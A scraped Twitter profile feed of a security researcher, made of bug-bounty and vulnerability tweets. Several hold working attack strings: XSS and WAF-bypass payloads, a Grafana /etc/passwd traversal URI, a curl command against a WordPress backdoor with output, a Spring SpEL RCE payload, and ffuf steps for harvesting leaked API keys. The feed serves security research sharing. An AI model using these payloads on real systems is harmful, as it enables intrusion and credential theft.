Abhishek Rautela @accesscheck

OSCP | Web Developer | Security Researcher | Noob | Blogger accesscheck.medium.com Hindistan Joined February 2021

Tweets

137
Followers

72
Following

150
Likes

259

Un9nPlayer @Un9nPlayer

2 years ago

WAF bypasses XSS payload in JSON Payload: ["');alert('XSS');//"]@xyz.xxx #WAF #xss #BugBounty #BugBountytips

21 199 573 25K 244

Download Image

Need to make some quick $$? Here is a hack! No automated tools do either. 1) Find JavaScript files 2) ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL" 3) Download sourcemap 4)github.com/chbrown/unmap 5) Browse configs or just grep for API keys/Creds credit:@nullenc0de

12 132 447 30K 290

Dave Kennedy @HackingDave

3 years ago

OpenSSL 3.0.7 tarballs are posted here: openssl.org/source/openssl… It appears based on release notes that this is overblown. Would require a vulnerable TLS client to connect to a malicious server - more phishing-based attack versed remote RCE. #openssl

11 106 268 0 22

Download Image

Horizon3 Attack Team @Horizon3Attack

3 years ago

With reports of #Fortinet CVE-2022-40684 being exploited in the wild, we have detailed some early Indicators of Compromise in the following blog to help organizations assess their environments. horizon3.ai/fortinet-iocs-…

6 158 354 0 44

Jon Brosio @jonbrosio

3 years ago

Master psychology and you can (damn-near) print money at will. Most people don't know how or where to start. These 12 TED Talks will teach you more about psychology than a four-year degree:

279 3K 14K 0 17K

John Hammond @_JohnHammond

3 years ago

Today I got a notification on my phone that YouTube had sent me a copyright report, claiming one of my videos violated copyright and my channel was going to receive a strike. Except, my video didn't violate copyright. And YouTube didn't really send me a copyright report.

154 2K 5K 0 397

Download Image

huli @aszx87410

3 years ago

Here is my writeup about one of the web challenge named HORKOS in GoogleCTF 2022. The challenge is about insecure deserialization in JavaScript, the player need to find a way to run JS code in the sandbox by exploiting the vulnerability. blog.huli.tw/2022/07/11/en/…

1 32 118 0 31

gafnit @gafnitav

3 years ago

Exploiting AWS IAM Authenticator by crafting malicious signed STS GetCallerIdentity request. 👉CVE-2022-2385 blog.lightspin.io/exploiting-eks…

4 217 568 0 146

CVE @CVEnew

3 years ago

CVE-2022-32275 Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd URI. cve.mitre.org/cgi-bin/cvenam…

6 155 464 0 78

CyCatz @CyCatz_Official

3 years ago

#cycatz #bugbounty #bugbountytips Exploiting IRCTC along with few other government domains through XXE #RCE #XXE More..bit.ly/3wV0cra #appsec #infosec #pentest #appsec #ACL #Database #securitybreach #shodan #hacking

0 49 115 0 19

Download Image

𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko

3 years ago

CVE-2022-1609 WordPress @momika233 Weblizar Backdoor $ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license' uid=33(www-data) gid=33(www-data) groups=33(www-data) #bugbounty #bugbountytips #nday

0 27 78 0 13

张惠倩 @momika233

3 years ago

Atlassian Jira Seraph Authentication Bypass RCE CVE-2022-0540 raw.githubusercontent.com/Pear1y/CVE-202… #nday #bugbountytips #bugsbunny

3 63 181 0 30

Horizon3 Attack Team @Horizon3Attack

3 years ago

Our technical analysis and POC for CVE-2022-22972 Authentication Bypass for #VMware Workspace ONE, vIDM, and vRealize Automation 7.6. horizon3.ai/vmware-authent… We've again passed our POC to @GreyNoiseIO to build early detections. #CyberSecurity

3 171 348 0 54

Paul Seekamp @nullenc0de

3 years ago

Want to do dir bruteforcing and parameter bruteforcing at the same time? GET ffuf -w "./dir.txt:DIR" -w ./params.txt -u https://EXAMPLE(.)COM/DIR?FUZZ=1 -t 300 -ac POST ffuf -w "./dir.txt:DIR" -w ./params.txt -u https://EXAMPLE(.)COM/DIR -X POST -d "FUZZ=1" -t 300 -ac

14 132 412 0 161

siri@fu4k1 @sirifu4k1

3 years ago

CVE-2022-22978 Spring Security RegexRequestMatcher Authorization Bypass EXP: %0d or %oa github.com/spring-project… nosec.org/m/share/5006.h…

7 224 658 0 106

Download Image

Orange Tsai 🍊 @orange_8361

3 years ago

Unsafe .Net Deserialization in Windows Event Viewer! This is a by-product of my research. Has confirmed with MSRC that this didn't cross any security boundary, but I guess it could still be another fun #LOLbas or Defender Bypass.😆

19 537 2K 0 195

Download Video

Somdev Sangwan @s0md3v

3 years ago

Multiple WAFs bypass that demonstrates various obfuscation techniques. <sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//

17 222 746 0 255

Download Image

bytehx @bytehx343

3 years ago

Spring Cloud Function Spel RCE aka CVE-2022-22963 POC. payload spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xcalc")